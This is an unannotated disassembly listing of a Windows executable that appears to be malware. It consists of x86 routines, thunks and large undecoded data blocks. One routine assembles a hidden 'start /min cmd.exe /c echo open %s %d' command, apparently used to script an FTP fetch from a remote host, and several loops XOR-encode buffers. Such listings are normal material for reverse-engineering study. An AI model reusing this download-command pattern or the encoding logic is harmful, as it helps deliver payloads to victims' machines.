; ---------------------------------------------------------------------------
db 4 dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4360A0: ; CODE XREF: ___:00401D61j
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+28h]
or ecx, 0FFFFFFFFh
xor eax, eax
mov dword ptr [esp+10h], 98h
repne scasb
mov eax, [esp+1Ch]
not ecx
dec ecx
lea ebx, [ecx+eax+1]
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
add esp, 8
rep movsd
mov esi, [esp+28h]
or ecx, 0FFFFFFFFh
mov edi, esi
mov [esp+18h], edx
repne scasb
mov edx, [esp+1Ch]
not ecx
mov eax, ecx
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2Ch]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436152
push ebx
push ebp
call eax
add esp, 8
loc_436152: ; CODE XREF: ___:00436149j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+2Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+18h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436194: ; CODE XREF: ___:0043620Dj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4361D4
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_43620F
loc_4361D4: ; CODE XREF: ___:004361A2j
; ___:004361B2j ...
mov esi, [esp+28h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_436206
loc_4361F9: ; CODE XREF: ___:00436204j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4361F9
loc_436206: ; CODE XREF: ___:004361F7j
mov edx, [esp+18h]
mov [edx+13h], cl
jmp short loc_436194
; ---------------------------------------------------------------------------
loc_43620F: ; CODE XREF: ___:004361D2j
mov eax, [esp+28h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+1Ch]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+1Ch]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; ---------------------------------------------------------------------------
loc_436300: ; CODE XREF: ___:00401FE1j
mov eax, 200Ch
call sub_436840
mov eax, [esp+2028h]
mov ecx, [esp+202Ch]
push ebx
mov edx, [esp+2028h]
push ebp
push esi
push edi
push eax
push eax
mov eax, [esp+2048h]
push eax
mov eax, [esp+203Ch]
push ecx
push edx
push eax
lea ecx, [esp+34h]
push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "...
push ecx
mov dword ptr [esp+34h], 98h
nop
call sub_5EE1E5
lea edi, [esp+3Ch]
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [esp+2044h]
repne scasb
not ecx
dec ecx
lea ebx, [ecx+edx+1]
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+2044h]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
call near ptr 77C2C407h
nop
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
add esp, 28h
rep movsd
lea edi, [esp+1Ch]
or ecx, 0FFFFFFFFh
repne scasb
mov [esp+10h], edx
mov edx, [esp+2024h]
not ecx
mov eax, ecx
lea esi, [esp+1Ch]
lea edi, [edx+ebp-2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [esp+2044h]
and ecx, 3
test eax, eax
rep movsb
jz short loc_436402
push ebx
push ebp
call eax
add esp, 8
loc_436402: ; CODE XREF: ___:004363F9j
push ebx
nop
call near ptr 77C2C407h
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+10h]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_436444: ; CODE XREF: ___:004364BDj
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_436484
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4364BF
loc_436484: ; CODE XREF: ___:00436452j
; ___:00436462j ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+14h]
inc ecx
test ebx, ebx
mov [esp+14h], ecx
jle short loc_4364B6
loc_4364A9: ; CODE XREF: ___:004364B4j
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4364A9
loc_4364B6: ; CODE XREF: ___:004364A7j
mov edx, [esp+10h]
mov [edx+13h], cl
jmp short loc_436444
; ---------------------------------------------------------------------------
loc_4364BF: ; CODE XREF: ___:00436482j
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+2030h]
mov edx, [esp+202Ch]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+14h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+14h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
add esp, 200Ch
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4365C0: ; CODE XREF: ___:00401910j
push ecx
push ebx
mov ebx, [esp+10h]
push ebp
push esi
push edi
push ebx
mov dword ptr [esp+14h], 98h
nop
call near ptr 77C2C407h
mov ecx, ebx
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
mov esi, [esp+1Ch]
shr ecx, 2
rep stosd
mov ecx, edx
push 18h
and ecx, 3
rep stosb
mov ecx, ebx
mov edi, ebp
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
nop
call near ptr 77C2C407h
mov edx, eax
mov ecx, 6
xor eax, eax
mov edi, edx
rep stosd
mov eax, [esp+30h]
add esp, 8
mov ecx, 6
mov esi, (offset loc_446BD7+1)
mov edi, edx
mov [esp+1Ch], edx
test eax, eax
rep movsd
jz short loc_43663D
push ebx
push ebp
call eax
add esp, 8
loc_43663D: ; CODE XREF: ___:00436634j
push ebx
call near ptr 77C2C407h
nop
mov ecx, ebx
mov edx, eax
mov esi, ecx
xor eax, eax
mov edi, edx
mov [esp+1Ch], edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, ebp
and ecx, 3
add esp, 4
rep stosb
mov ecx, ebx
mov edi, edx
mov edx, ecx
mov eax, [esp+1Ch]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov [eax+0Eh], bl
mov [eax+0Fh], bh
loc_43667F: ; CODE XREF: ___:004366F8j
push 5Ch
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Ah
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jnz short loc_4366BF
push 0Dh
push ebx
push ebp
call sub_401334
add esp, 0Ch
test al, al
jz short loc_4366FA
loc_4366BF: ; CODE XREF: ___:0043668Dj
; ___:0043669Dj ...
mov esi, [esp+18h]
mov ecx, ebx
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h]
inc ecx
test ebx, ebx
mov [esp+10h], ecx
jle short loc_4366F1
loc_4366E4: ; CODE XREF: ___:004366EFj
mov dl, [eax+ebp]
xor dl, cl
mov [eax+ebp], dl
inc eax
cmp eax, ebx
jl short loc_4366E4
loc_4366F1: ; CODE XREF: ___:004366E2j
mov edx, [esp+1Ch]
mov [edx+13h], cl
jmp short loc_43667F
; ---------------------------------------------------------------------------
loc_4366FA: ; CODE XREF: ___:004366BDj
mov eax, [esp+18h]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+28h]
mov edx, [esp+24h]
mov esi, ecx
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+20h]
and ecx, 3
rep stosb
mov ecx, 6
mov edi, edx
rep movsd
mov ecx, ebx
lea edi, [edx+17h]
mov edx, ecx
mov esi, ebp
shr ecx, 2
rep movsd
mov eax, [esp+20h]
mov ecx, edx
and ecx, 3
push eax
rep movsb
mov esi, dword_50FAC4
call esi ; free
push ebp
call esi ; free
add esp, 0Ch
lea eax, [ebx+18h]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 68h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j
; SEH_4036D0+5j ...
jmp near ptr 77C227FAh
sub_4367C8 endp
; ---------------------------------------------------------------------------
db 95h, 2 dup(0CCh)
byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o
; ___:0043E018o ...
db 0E9h, 37h, 0F7h
dd 3DE9777Fh, 0B3777E57h, 7F2BE6E9h
; ---------------------------------------------------------------------------
ja short loc_43680A
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4367E2 proc near ; CODE XREF: ___:00406BE0p
; sub_406C00+11p ...
jmp near ptr 77C29CDDh
sub_4367E2 endp
; ---------------------------------------------------------------------------
db 0C5h
dd 8112A3E9h, 0E9902F77h, 7781146Ch, 14EBE990h
db 81h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4367FA proc near ; CODE XREF: sub_406C30+47p
; ___:00406CCAp ...
nop
jmp near ptr 77C29CC5h
sub_4367FA endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0E1h, 0ACh
dd 0C18B777Eh
db 0C7h, 0
; ---------------------------------------------------------------------------
loc_43680A: ; CODE XREF: ___:004367E0j
aam 0E1h
inc ebx
add dl, al
add al, 0
loc_436811: ; DATA XREF: ___:off_43E1D4o
push esi
mov esi, ecx
call sub_436BCC
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_436827
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
pop ecx
loc_436827: ; CODE XREF: ___:0043681Ej
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
mov eax, ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436832 proc near ; CODE XREF: sub_409580+4Dp
; ___:0040A99Dp
jmp near ptr 77C226F6h
sub_436832 endp
; ---------------------------------------------------------------------------
db 0DCh
dd 80974DE9h, 0CCCCAE77h
; =============== S U B R O U T I N E =======================================
sub_436840 proc near ; CODE XREF: sub_40A030+5p
; sub_40FF60+1Ap ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_436860
loc_43684C: ; CODE XREF: sub_436840+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_43684C
loc_436860: ; CODE XREF: sub_436840+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_436840 endp
; ---------------------------------------------------------------------------
align 10h
dd 810DEBE9h, 15E92D77h, 7B777E67h, 91F4E990h, 0E9907780h
dd 778111C8h, 35F0E990h, 8DE97780h, 6F778110h, 7F5B6EE9h
dd 3D831377h, 50E9F4h, 0FF0C75FFh, 90042474h, 7FE54BE8h
dd 68C35977h, 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch
dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h
dd 0C348D8F7h, 7F593EE9h, 0E990F077h, 778008D8h, 8E9E990h
db 80h, 77h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4368EA proc near ; CODE XREF: sub_4198C0+28p
nop
jmp near ptr 77C4FA10h
sub_4368EA endp
; =============== S U B R O U T I N E =======================================
sub_4368F0 proc near ; CODE XREF: sub_41B820+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_436911
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_436961
; ---------------------------------------------------------------------------
loc_436911: ; CODE XREF: sub_4368F0+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_43691F: ; CODE XREF: sub_4368F0+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_43691F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_43694A
cmp edx, [esp+4+arg_4]
ja short loc_43694A
jb short loc_436952
cmp eax, [esp+4+arg_0]
jbe short loc_436952
loc_43694A: ; CODE XREF: sub_4368F0+4Aj
; sub_4368F0+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_436952: ; CODE XREF: sub_4368F0+52j
; sub_4368F0+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_436961: ; CODE XREF: sub_4368F0+1Fj
pop ebx
retn 10h
sub_4368F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_436970 proc near ; CODE XREF: sub_41B820+30p
; sub_41B820+3Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_436992
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_4369D3
; ---------------------------------------------------------------------------
loc_436992: ; CODE XREF: sub_436970+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_4369A0: ; CODE XREF: sub_436970+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_4369A0
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_4369CE
cmp edx, [esp+8+arg_4]
ja short loc_4369CE
jb short loc_4369CF
cmp eax, [esp+8+arg_0]
jbe short loc_4369CF
loc_4369CE: ; CODE XREF: sub_436970+4Ej
; sub_436970+54j
dec esi
loc_4369CF: ; CODE XREF: sub_436970+56j
; sub_436970+5Cj
xor edx, edx
mov eax, esi
loc_4369D3: ; CODE XREF: sub_436970+20j
pop esi
pop ebx
retn 10h
sub_436970 endp
; ---------------------------------------------------------------------------
dd 80A0D4E9h, 0E9909277h, 7780862Ch, 1477E990h, 0E9907781h
dd 7780A486h, 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h
dd 0E9907780h, 7780AD33h, 8111D3E9h, 5FE9A677h, 0E87780B1h
dd 84DCE990h, 0E9907780h, 7780A3F3h, 569DE990h, 36E9777Fh
dd 5D777E5Bh, 3C0E990h, 0E9907780h, 778007C2h, 7E887FE9h
dd 0EEE96C77h, 0DC77808Eh, 0AE20E990h, 0E9907780h, 7780398Bh
dd 38B1E990h, 0B8E97780h, 67778126h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436A5C proc near ; CODE XREF: ___:0043168Cp
nop
jmp near ptr 77C3619Ch
sub_436A5C endp
; ---------------------------------------------------------------------------
dw 0DE9h
dd 5A778003h, 0A143E990h, 936C7780h, 0B2A13AAFh, 2538AC54h
dd 119882D8h, 0A16458h, 50000000h, 258964h, 83000000h
dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh, 7FE8DBE8h
dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h
dd 0D8B777Eh, 50E8E8h, 0E1E80889h, 90777E86h, 0E8E40D8Bh
dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h
dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h
dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h
dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
dd 22D95B2h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 9FE85353h, 900246B0h
dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh
dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh
dd 0E8908875h, 778032CEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436BCC proc near ; CODE XREF: ___:00436814p
jmp near ptr 77C21868h
sub_436BCC endp
; ---------------------------------------------------------------------------
db 50h, 0E9h, 7Ah
dword_436BD4 dd 2777FE2h, 32BCE990h, 0CBE97780h, 11777FC1h, 8301E990h
dd 78E9777Eh, 46778031h, 3000068h, 6800h, 25E80001h, 59000000h
dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 7E8593E9h, 0E990D977h
dd 777E85C3h, 0E75EE990h, 0E990777Fh, 777FF070h, 818206E9h
dd 0E990A177h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h
dd 0C58844E9h, 0E9901B75h, 75C697E8h, 0B319E990h, 0E99075C4h
dd 75C54BF8h, 0C60A56E9h, 85E90775h, 8875C4EEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep
nop
jmp near ptr 76D6AC1Dh
sub_436C60 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 23B9AFDh, 3B9C12E9h, 0E990B802h, 23B9D9Bh, 9382E990h
dd 0E990023Ch, 23D937Ch, 9376E990h, 0E990023Eh, 23F9370h
dd 936AE990h, 0E9900240h, 240ABECh, 0ADF0E990h, 0E9900240h
dd 2419358h, 9655E990h, 7EE90241h, 0D4024197h, 9346E990h
dd 0E9900242h, 2429754h, 933AE990h, 0E9900243h, 2439F1Eh
dd 932EE990h, 0E9900244h, 244959Bh, 9322E990h, 0E9900245h
dd 246931Ch, 0A366E990h, 4BE90246h, 0E0246AFh, 930AE990h
dd 0E9900247h, 2479A38h, 479FF2E9h, 0E9909702h, 24892F8h
dd 3B92F3E9h, 0E9902802h, 23A9B51h, 92E6E990h, 0E990023Ah
dd 23992E0h, 9B70E990h, 0E9900238h, 23892D4h, 3792CFE9h
dd 0E990FF02h, 2369963h, 36958DE9h, 0E9902802h, 23692BCh
dd 359937E9h, 0E9901602h, 22D92B0h, 3592ABE9h, 0E990BD02h
dd 2349D5Eh, 9D10E990h, 86E90234h, 0E7C4CA3h, 0A297E990h
dd 0E9907C4Ch, 2349B1Ah, 996FE990h, 0E9900234h, 2349280h
dd 3399CAE9h, 0E9905802h, 2339937h, 978DE990h, 0E9900233h
dd 23396B4h, 9516E990h, 5DE90233h, 0C7023392h, 9F34E990h
dd 0E9900232h, 2329D8Eh, 9B8EE990h, 0E9900232h, 2329855h
dd 3297D4E9h, 0E9907602h, 2329238h, 9E88E990h, 0E9900231h
dd 2319AF5h, 997EE990h, 0D7E90231h, 71023195h, 921AE990h
dd 96E90231h, 0B802309Bh, 309899E9h, 30E95802h, 9F023098h
dd 309203E9h, 0E990E802h, 22F9F27h, 2F9C5AE9h, 0E990E802h
dd 22F987Fh, 91EAE990h, 0E990022Fh, 22E9E66h, 9CE2E990h
dd 0E990022Eh, 22E99C5h, 2E9813E9h, 0E9900E02h, 22E91CCh
dd 92F0E990h, 0E990022Dh, 1B73A5h, 48953EE9h, 0E9904602h
dd 253A3BCh, 91AEE990h, 0A9E9024Eh, 0BD025391h, 91A2E990h
dd 0E9900252h, 251919Ch, 9196E990h, 0E9900250h, 24F979Dh
dd 953EE990h, 0E990024Fh, 24F9184h, 9C6FE990h, 81E9024Eh
dd 0E8024E9Ah, 4E987BE9h, 0E9901102h, 248980Ch, 4D9CE5E9h
dd 0E990E802h, 24D98AFh, 4D951EE9h, 55E91B02h, 46024D91h
dd 914EE990h, 0E990024Ch, 24B9148h, 4AAD8FE9h, 0E9902802h
dd 24AAA81h, 0A811E990h, 0E990024Ah, 24AA663h, 4A912BE9h
dd 25E90E02h, 6F024991h, 60A22FE9h, 0E990A47Ch, 7167D059h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p
nop
jmp near ptr 71AB4FD4h
sub_436EE8 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 71687585h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p
jmp near ptr 71AB2BF4h
sub_436EF4 endp
; ---------------------------------------------------------------------------
db 0CAh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p
; sub_42DC70+4Fp
jmp near ptr 71AB615Ah
sub_436EFA endp
; ---------------------------------------------------------------------------
db 0E6h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap
; sub_42DD50+45p ...
nop
jmp near ptr 71AB428Ah
sub_436F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p
; sub_42DFD0+96p ...
nop
jmp near ptr 71AB9639h
sub_436F06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F0C proc near
nop
jmp near ptr 71AC1028h
sub_436F0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F12 proc near ; CODE XREF: sub_42CE80+71p
; sub_42DA60+50p
nop
jmp near ptr 71AB2DC0h
sub_436F12 endp
; ---------------------------------------------------------------------------
dd 67BCA3E9h
db 71h, 0BBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F1E proc near
jmp near ptr 71AB88D3h
sub_436F1E endp
; ---------------------------------------------------------------------------
db 92h
db 90h
db 0E9h, 3Ch, 0BCh
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F2A proc near ; CODE XREF: sub_42D580+187p
nop
jmp near ptr 71AB951Eh
sub_436F2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F30 proc near
jmp near ptr 71AB3E00h
sub_436F30 endp
; ---------------------------------------------------------------------------
db 79h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F36 proc near ; CODE XREF: sub_42C810+B1p
nop
jmp near ptr 71AB2B66h
sub_436F36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F3C proc near ; CODE XREF: ___:0042C93Fp
; sub_42D580+152p
nop
jmp near ptr 71AB3B91h
sub_436F3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F42 proc near
nop
jmp near ptr 71AB406Ah
sub_436F42 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0DAh, 0D4h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F4E proc near ; CODE XREF: sub_42C790+10p
nop
jmp near ptr 71AB664Dh
sub_436F4E endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 6Eh, 0E1h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F5A proc near ; CODE XREF: sub_4338B0+Bp
nop
jmp near ptr 71AB94DCh
sub_436F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436F60 proc near ; CODE XREF: sub_41A6D0+92p
; sub_41A8C0+CAp ...
jmp near ptr 71AB4544h
sub_436F60 endp
; ---------------------------------------------------------------------------
db 0CFh, 0E9h, 0E5h
dd 0ED71689Bh, 0D5A7E990h, 0E9907167h, 7167BC48h, 0BD91E990h
dd 0E6E97167h, 8D7167BCh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F84 proc near
nop
jmp near ptr 71AB3EA1h
sub_436F84 endp
; ---------------------------------------------------------------------------
dw 0DAE9h
dd 9A716817h, 0D4F3E990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F96 proc near ; CODE XREF: sub_42C810+53p
; sub_42C810+C3p
nop
jmp near ptr 71ABE6EBh
sub_436F96 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F9C proc near ; CODE XREF: sub_42DFD0+4Ap
nop
jmp near ptr 71AC0BDEh
sub_436F9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FA2 proc near
nop
jmp near ptr 71AB2A5Eh
sub_436FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FA8 proc near ; CODE XREF: ___:0041C1B7p
; ___:0041C1CCp
nop
jmp near ptr 71B2578Ch
sub_436FA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436FAE proc near ; CODE XREF: ___:0041C30Dp
; ___:0041C32Fp
jmp near ptr 71B25099h
sub_436FAE endp
; ---------------------------------------------------------------------------
db 88h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436FB4 proc near ; CODE XREF: sub_41FF90+B4p
jmp near ptr 76BF215Ah
sub_436FB4 endp
; ---------------------------------------------------------------------------
inc esi
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_436FBA proc near ; CODE XREF: sub_41FF90+9Bp
jmp near ptr 76BF1F1Ch
sub_436FBA endp
; ---------------------------------------------------------------------------
db 34h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FC0 proc near ; CODE XREF: sub_41FF90+21p
nop
jmp near ptr 76BF3A9Ah
sub_436FC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FC6 proc near ; CODE XREF: ___:0041B1B4p
nop
jmp near ptr 76F36C5Bh
sub_436FC6 endp
; ---------------------------------------------------------------------------
dword_436FCC dd 80F27DE9h, 0E990F577h, 7780F14Dh, 0F192E990h, 0E9907780h
dd 7780F33Ch, 2C7h dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh
